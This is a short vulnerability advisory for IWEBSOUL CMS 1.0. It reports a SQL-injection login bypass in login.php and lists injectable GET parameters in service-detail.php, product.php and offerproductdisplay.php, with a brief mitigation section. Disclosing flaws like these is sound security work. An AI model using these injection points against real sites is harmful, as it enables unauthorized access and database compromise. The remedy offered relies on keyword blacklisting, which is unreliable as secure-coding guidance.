Technical Details & Description:
=================================

An auth bypass session vulnerability has been discovered in the IWEBSOUL CMS 1.0 web-application.
The session vulnerability allows remote attackers to unauthorized access the web user interface.
The vulnerability is located in the session credentials request of the login.php file. Remote attackers are able to use a '-  SQL Injection payload to bypass the login.php script validation. 
This is results in unauthorized access. The issue is a classic auth bypass and is remote exploitable. The request method to inject is POST.

Request Method(s):

[+] POST

Vulnerable Funcitons(s):

[+] login.php

Affected Module(s):

[+] Web User Interface


A remote SQL Injection web vulnerability has been discovered in the IWEBSOUL CMS 1.0 web-application.
The vulnerability allows remote attackers to execute own sql commands to compromise the web-server or dbms.
The vulnerability is located in the `type` parameter of the `service-detail.php` file GET method request. 


Request Method(s):

[+] GET
 
Vulnerable Function(s):

[+] service-detail.php
 
Vulnerable Parameter(s):

[+] type

And the other SQL injection is located in the `catid`, 'scatid' & 'typeid' parameters of the `product.php` file GET method request.

Request Method(s):

[+] GET
 
Vulnerable Function(s):

[+] product.php
 
Vulnerable Parameter(s):

[+] catid
 
[+] scatid

[+] typeid

More SQL Injection is located in the 'id' paramater of the 'offerproductdisplay.php' file GET method request.

Request Method(s):

[+] GET
 
Vulnerable Function(s):

[+] offerproductdisplay.php
 
Vulnerable Parameter(s):

[+] id

Solution 
=========

In order to avoid SQL Injection it is important to validate all non-SQL text entries, not allowing special characters and SQL key words to be written, such as INSERT, DELETE, UPDATE, HAVING, JOIN, etc.
It is interesting to set a maximum of characters for passwords and users. 
Treat errors appropriately, for messages that do not expose attackers to information about a data structure.
